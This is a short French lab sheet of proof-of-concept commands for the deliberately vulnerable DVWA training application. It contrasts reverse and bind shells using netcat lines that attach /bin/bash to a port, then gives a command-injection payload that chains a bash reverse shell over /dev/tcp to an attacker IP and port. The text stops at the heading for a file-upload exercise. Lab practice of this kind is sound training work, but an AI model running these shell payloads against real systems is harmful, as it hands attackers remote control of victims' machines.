Ces POC sont à appliquer à DVWA. En niveau Low.


Reverse Shell vs Bind Shell

Reverse Shell

# Attaquant écoute sur le port 4444
nc -lp 4444

# Victime
nc <IP_ATTAQUANT> 4444 -e /bin/bash

Bind Shell

# Victime écoute sur le port 4444
nc -lp 4444 -e /bin/bash

# Attaquant 
nc <IP_VICTIME> 4444

Reverse Shell niveau 0 : « command injection »

Solution

Démarrer une écoute depuis le PC attaquant

# L'attaquant écoute sur son port 4444, il attend que quelqu'un s'y connecte
nc -lp 4444

Commande à injecter Command Injection

# Payload partiel : 
bash -c 'bash -i >& /dev/tcp/<IP_attaquant>/<PORT_attaquant> 0>&1'

# Payload complet : 
1.1.1.1 ; bash -c 'bash -i >& /dev/tcp/192.168.1.101/4444 0>&1'

Reverse Shell niveau 1 : « file upload » + « command injection »